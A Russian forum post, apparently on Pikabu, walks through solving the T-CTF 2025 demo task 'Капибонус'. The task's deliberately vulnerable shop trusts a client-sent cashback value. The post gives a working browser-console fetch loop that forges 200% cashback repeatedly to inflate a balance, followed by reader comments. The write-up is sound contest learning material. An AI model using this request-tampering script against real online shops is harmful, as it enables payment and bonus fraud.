15

CTF

Дисциплина Capture The Flag (CTF) — это командные соревнования по поиску и реализации уязвимостей в специально подготовленных для этого площадках.

Целью соревнований является нахождение спрятанных флагов, созданных организаторами, которые могут быть найдены в ходе эксплуатации тех или иных уязвимостей системы. За получение каждого флага начисляются баллы.

Простыми словами: CTF — соревнования для специалистов по безопасности (условно назовем их хакерами).

Делятся на направления: веб, приложения, инфраструктура, криптография и т.д.

В ближайшие выходные (с 19 по 20 апреля 2025 г.) будут проходить соревнования «T-CTF 2025» от Т-Банка.

Это не реклама, за это к моему глубокому сожалению мне никто не платит :) Просто интересный конкурс для разминки мозгов.

Формат соревнований — офлайн и онлайн.

Ссылка на соревнование: https://t-ctf.ru/

Все желающие могут принять участие и прикоснуться к миру информационной безопасности.

В рамках разминки создатели T-CTF выкладывают демо-задания перед началом соревнований.

Также для демо-заданий дают информацию по способу их решения, поэтому каждый может, если возникли трудности, прибегнуть к помощи и узнать, как решается то или иное задание.


Регистрируемся на соревновании и получаем список заданий.

Например, попробуем «расковырять» задание «Капибонус» самостоятельно.

Описание задания:

Простое демо-задание — пример того, с чем можно столкнуться в Лиге разработки на простой сложности.

Добро пожаловать в Капиплейс — новый маркетплейс города.

Здесь за покупки дают возможность крутануть колесо Фортуны и выиграть разные призы. Да только никто ничего не может выиграть, хоть и тратят много денег. Попахивает мошенничеством!

Выиграйте 313 337 ₡ и выкупите алгоритм колеса у супермаркета, чтобы впредь удача улыбалась каждому покупателю.

Перейдем по ссылке из личного кабинета — перед нами открылся обычный интернет-магазин. Регистрируемся.

Главная страница нашего интернет магазина

Главная страница нашего интернет магазина

Имеем следующие вводные:

Есть интернет-магазин, который дает приветственный бонус в виде 100 единиц для оплаты товаров.

При оплате есть возможность поучаствовать в розыгрыше и покрутить рулетку, которая предоставляет:

  • возврат 200% от стоимости товара;

  • вычитается с вашего счета минус 10%/20%/50% от стоимости товара;

  • 0 — не выиграли, не проиграли.

Также мы видим товар с названием: «Алгоритм Колеса Фортуны». Как можно догадаться, нам необходимо выкупить данный товар для решения задания.

Из очевидных моментов — это возможность рассмотреть сам механизм начисления бонусов и понять, как можно увеличить наш стартовый баланс из 100 до необходимой суммы в 313 337 единиц благодаря данному розыгрышу.

Откроем консоль разработчика (F12), вкладку Network в режиме «Preserve log», чтобы история запросов сохранялась после обновления страницы.

Добавим какой-нибудь недорогой товар, чтобы средств хватило на большее количество тестов, и попробуем его приобрести.

Запрос для добавления товара:

POST https://{HOSTNAME}.spbctf.org/cart/add/119

body пустое

В качестве указателя товара используется идентификатор в GET — 119. Товары хранятся в сессии.

HTTP запрос на добавление товара

HTTP запрос на добавление товара

Попробуем приобрести товар: перейдем в корзину и нажмем на кнопку «Оплатить».

Для оформления заказа запрос уходит на метод:

POST https://{HOSTNAME}.spbctf.org/checkout

body пустое

HTTP запрос на оплату

HTTP запрос на оплату

После завершения с нас списываются средства, и нас переводит на страницу с номером заказа.

Далее нам предлагается поучаствовать в самой рулетке — нажимаем на кнопку «Покрутить!».

Сам розыгрыш кэшбэка

Сам розыгрыш кэшбэка

Мне повезло с первого раза: выпал кэшбэк на 200 процентов :)

Запрос рулетки:

POST https://{HOSTNAME}.spbctf.org/order/24140/set-cashback

BODY: {"cashback": 200}

И вот здесь стоит обратить внимание: в теле метода set-cashback мы видим указание на применяемый кэшбэк в 200.

Фактически сам кэшбэк рулетки определяется на стороне клиента (фронтенд), а затем уже сообщается серверу о том, какой результат выпал!

Так как мы можем влиять на запросы, которые от нас уходят, мы фактически можем подменять результаты всех розыгрышей на 200% кэшбэк.

Отлично, это уже способ нарастить баланс!

Попробуем расковырять его дальше и проверить, можем ли мы получить кэшбэк в размере, например, 20000%.

Повторяем операцию: добавляем товар и оформляем заказ.

При указании числа большего, чем 200, выдает статус 303, и кэшбэк не применяется.

Самый простой способ не удался — не получилось вписать большой процент, но рабочий механизм наращивания кэшбэка у нас уже есть.

Будем его использовать!

Наша задача — создать такое количество запросов, которое позволит нам получить баланс для оплаты товара на сумму 313 337.

Поехали: попробуем воспроизвести цикл добавления товара, оформления заказа и кэшбэка автоматически, чтобы не воспроизводить это дело руками.

Делать это будем там же, в консоли разработчика.

Запросы у нас уже есть в консоли — копируем их правой кнопкой мыши: «Copy as fetch».

Копируем исходные запросы

Копируем исходные запросы

Для реализации подобной логики потребуются небольшие знания программирования на JavaScript.

Сам запрос у нас уже есть — нужно составить цепочку запросов, которые идут друг за другом, и еще вытащить номер заказа для передачи следующему методу.

Давайте попробуем составить эту цепочку и выполнить в консоли.

Единственный момент: на самом сервисе магазина происходит редирект с HTTPS на HTTP, поэтому была добавлена опция в fetch: referrerPolicy: "unsafe-url", чтобы проигнорировать предупреждения браузера.

Вставляем все это дело в консоль разработчика и отправляем:

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function(response) {

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

})

})

Вставляем все это дело в консоль разработчика

Вставляем все это дело в консоль разработчика

Отлично, баланс изменяется автоматически после каждого выполнения кода в консоли.

Обновим товар на более дорогой, чтобы получать больший кэшбэк.

В строке добавления в корзину меняем 119 на ID нужного товара.

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119"

Посмотреть идентификатор товара можно через вкладку Network при добавлении товара либо через Elements в консоли разработчика (ПКМ на кнопке «Купить» → «Просмотреть код»).

Получение нужного идентификатора товара

Получение нужного идентификатора товара

Теперь автоматизируем отправку запросов в цикле, чтобы не вызывать их вручную.

Добавим цикл и сделаем так, чтобы запросы выполнялись последовательно. Для этого используем async/await.

Итоговый код:

for (let i = 0; i < 9; i++) {

await fetch("https://{HOSTNAME}.spbctf.org/cart/add/124", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

await fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function(response) {

console.log(response);

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

await fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

});

});

}

На выходе получаем конструкцию, которая позволяет наращивать баланс благодаря уязвимости в механизме кэшбэка.

Когда баланс достигает 313 337 ₡, покупаем товар «Алгоритм Колеса Фортуны», получаем ключ и вводим его в личном кабинете CTF.

Получили итоговый ключ для выполнения задания!

Получили итоговый ключ для выполнения задания!

Задание выполнено!

Подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Вы смотрите срез комментариев. Показать все
1
Автор поста оценил этот комментарий
возможно я не совсем понял суть, но кто-то пытается сэкономить пару (возможно десятков) лямов на тестировщиках?)
раскрыть ветку (4)
3
Автор поста оценил этот комментарий

Да вовсе нет :) это соревнования по компьютерной безопасности, обычные тестировщики такие задачи как правило решать не умеют. Подобных специалистов могут называть пентестерами.

Причем исследуемые продукты в ходе испытаний специально разработаны для соревнований и в реальной жизни не существуют

раскрыть ветку (2)
0
Автор поста оценил этот комментарий
угу, но все способы, используемые участниками соревнования конечно не будут учтены при создании новой защиты неведмого нового похуй чего?) очень похоже на то, что мой изначальный вопрос вполне себе правилен) пусть это будут не тестировщики, а пенетраторы, суть не меняется, с помощью соревнований можно неплоох сэкономить) попрошу заметить, что я человек максимально далёкий от сферы it и любых связанных с ней вопросов, моё предположение основано лишь на вашем тексте и моей логике)
раскрыть ветку (1)
2
Автор поста оценил этот комментарий

Не совсем так, здесь цель не для создания какой-то конкретной защиты, так как все системы разные и такую сложно создать в целом одновременно для всех, а цель больше соревнование среди самих участников.


Фактически каждая система довольно уникальна, и если ещё самописна, для этого как раз используются такие чуваки которые проверяют системы, подсвечивают бреши самим компаниям и получают за это деньги.


Как понимаю интерес банка в том, что толковых специалистов по инфобезу потом себе переманивают.


Надеюсь удалось на пальцах объяснить)

1
Автор поста оценил этот комментарий
Нет, ты не так понял, это специально такой сайт сделан для соревнований, те сделали его дырявым в плане безопасности а участнику как раз и нужно найти эти дырки и воспользоваться ими
и вот человек приводит пошагово как решать это задание
Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества